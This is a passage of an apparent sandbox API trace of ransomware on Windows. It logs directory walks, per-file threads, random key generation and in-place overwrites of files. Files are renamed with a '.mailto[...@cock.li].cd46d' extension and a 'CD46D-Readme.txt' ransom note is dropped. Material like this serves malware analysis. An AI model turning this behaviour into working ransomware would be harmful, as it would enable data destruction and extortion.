ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0193.819] FindClose (in: hFindFile=0x941cf0 | out: hFindFile=0x941cf0) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x969f70) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48cc0) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4be0) returned 1 Thread: id = 8303 os_tid = 0xeb0 [0191.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css")) returned 0x20 [0191.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css", dwFileAttributes=0x20) returned 0 [0191.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.439] GetLastError () returned 0x5 [0191.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css", dwFileAttributes=0x20) returned 0 [0191.439] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48838) returned 1 Thread: id = 8304 os_tid = 0xeb4 [0191.440] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xdc) returned 0x12d48838 [0191.440] wcscpy (in: _Dest=0x12d48838, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" [0191.440] wcscat (in: _Dest=0x12d48838, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\" [0191.440] wcscat (in: _Dest=0x12d48838, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*" [0191.440] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96bc50 [0191.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x96bc50 | out: lpFindFileData=0x96bc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942070 [0191.440] wcscmp (_String1=".", _String2=".") returned 0 [0191.440] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x96bc50 | out: lpFindFileData=0x96bc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.441] wcscmp (_String1="..", _String2=".") returned 1 [0191.441] wcscmp (_String1="..", _String2="..") returned 0 [0191.441] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x96bc50 | out: lpFindFileData=0x96bc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0191.441] wcscmp (_String1="HEADER.GIF", _String2=".") returned 1 [0191.441] wcscmp (_String1="HEADER.GIF", _String2="..") returned 1 [0191.441] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x12cf9070 [0191.441] wcscpy (in: _Dest=0x12cf9070, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" [0191.441] wcscat (in: _Dest=0x12cf9070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\" [0191.441] wcscat (in: _Dest=0x12cf9070, _Source="HEADER.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HEADER.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HEADER.GIF" [0192.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf9070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d0 [0192.274] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x96bc50 | out: lpFindFileData=0x96bc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0192.274] wcscmp (_String1="TAB_OFF.GIF", _String2=".") returned 1 [0192.274] wcscmp (_String1="TAB_OFF.GIF", _String2="..") returned 1 [0192.274] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf0) returned 0x12cf9168 [0192.274] wcscpy (in: _Dest=0x12cf9168, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" [0192.274] wcscat (in: _Dest=0x12cf9168, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\" [0192.274] wcscat (in: _Dest=0x12cf9168, _Source="TAB_OFF.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" [0192.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf9168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde8 [0192.275] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x96bc50 | out: lpFindFileData=0x96bc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0192.276] wcscmp (_String1="TAB_ON.GIF", _String2=".") returned 1 [0192.276] wcscmp (_String1="TAB_ON.GIF", _String2="..") returned 1 [0192.276] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x12cf9260 [0192.276] wcscpy (in: _Dest=0x12cf9260, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" [0192.276] wcscat (in: _Dest=0x12cf9260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\" [0192.276] wcscat (in: _Dest=0x12cf9260, _Source="TAB_ON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_ON.GIF" [0192.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf9260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a0 [0192.277] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x96bc50 | out: lpFindFileData=0x96bc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0192.277] FindClose (in: hFindFile=0x942070 | out: hFindFile=0x942070) returned 1 [0192.277] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96bc50) returned 1 [0192.277] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48838) returned 1 [0192.277] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4080) returned 1 Thread: id = 8320 os_tid = 0x814 [0192.153] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json")) returned 0x2020 [0195.446] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json", dwFileAttributes=0x20) returned 1 [0198.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a0 [0198.576] GetFileSizeEx (in: hFile=0x9a0, lpFileSize=0x276fc20 | out: lpFileSize=0x276fc20*=221) returned 1 [0198.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0198.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945500 [0198.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459d8 [0198.576] NtQuerySystemTime (in: CurrentTime=0x276fb80 | out: CurrentTime=0x276fb80*=132174899731738000) returned 0x0 [0198.576] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x4057d9d4 [0198.576] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x48194f4c [0198.576] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x41209016 [0198.576] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x637475b [0198.576] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x4f8135b6 [0198.576] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x721c5089 [0198.576] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x4719d7bf [0198.576] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x20b47cd3 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x12cbb163 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x2a2e04b3 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x574bf2ec [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x474ec100 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x9b31c97 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x2490290b [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x2f40c42 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x2e482aef [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x5f237d00 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x21f18df7 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x2075a87 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x48d1c6a6 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x14aba48b [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x4bd7cf8e [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x2ea546f8 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x728ca62d [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x4ad7231f [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x3113ce38 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x791f7b18 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x11ec0c51 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x7c766db9 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x3861024d [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x1b1012d5 [0198.577] RtlRandomEx (in: Seed=0x276fb8c | out: Seed=0x276fb8c) returned 0x381bb123 [0198.590] ReadFile (in: hFile=0x9a0, lpBuffer=0x12d86108, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x276fb7c, lpOverlapped=0x0 | out: lpBuffer=0x12d86108*, lpNumberOfBytesRead=0x276fb7c*=0xdd, lpOverlapped=0x0) returned 1 [0198.591] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.591] WriteFile (in: hFile=0x9a0, lpBuffer=0x12d92910*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x276fb78, lpOverlapped=0x0 | out: lpBuffer=0x12d92910*, lpNumberOfBytesWritten=0x276fb78*=0xdd, lpOverlapped=0x0) returned 1 [0199.603] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee98 [0199.603] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af438 [0199.604] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af438) returned 1 [0199.604] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d92910) returned 1 [0199.604] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d86108) returned 1 [0199.604] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa998) returned 1 [0199.604] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26f8) returned 1 [0199.604] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938270 [0199.604] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.604] WriteFile (in: hFile=0x9a0, lpBuffer=0x12cf6328*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x276fbe0, lpOverlapped=0x0 | out: lpBuffer=0x12cf6328*, lpNumberOfBytesWritten=0x276fbe0*=0x10b, lpOverlapped=0x0) returned 1 [0199.644] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6328) returned 1 [0199.644] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382a0) returned 1 [0199.644] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af438) returned 1 [0199.644] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938270) returned 1 [0199.644] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0199.644] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945500) returned 1 [0199.644] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945938) returned 1 [0199.644] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945690) returned 1 [0199.644] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c6e48 [0199.644] wcscpy (in: _Dest=0xd4c6e48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" [0199.644] wcscat (in: _Dest=0xd4c6e48, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0199.644] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x276fb98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.644] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9868 [0199.693] FlushFileBuffers (hFile=0x9a0) returned 1 [0199.701] CloseHandle (hObject=0x9a0) returned 1 [0199.717] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5f50 [0199.717] wcscpy (in: _Dest=0x9b5f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\" [0199.717] wcscat (in: _Dest=0x9b5f50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\CD46D-Readme.txt" [0199.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\cd46d-readme.txt")) returned 0xffffffff [0199.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1618 [0199.724] WriteFile (in: hFile=0x1618, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x276fba0, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x276fba0*=0x6fd, lpOverlapped=0x0) returned 1 [0199.734] CloseHandle (hObject=0x1618) returned 1 [0199.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5f50) returned 1 [0199.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a4910) returned 1 Thread: id = 8321 os_tid = 0x818 [0192.153] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json")) returned 0x2020 [0196.279] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json", dwFileAttributes=0x20) returned 1 [0196.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x584 [0196.280] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x370fdc4 | out: lpFileSize=0x370fdc4*=266) returned 1 [0196.281] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x106, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.281] ReadFile (in: hFile=0x584, lpBuffer=0x370fd48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x370fd44, lpOverlapped=0x0 | out: lpBuffer=0x370fd48*, lpNumberOfBytesRead=0x370fd44*=0x4, lpOverlapped=0x0) returned 1 [0196.281] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.281] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5e90 [0196.281] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5d28 [0196.282] RtlAllocateHeap 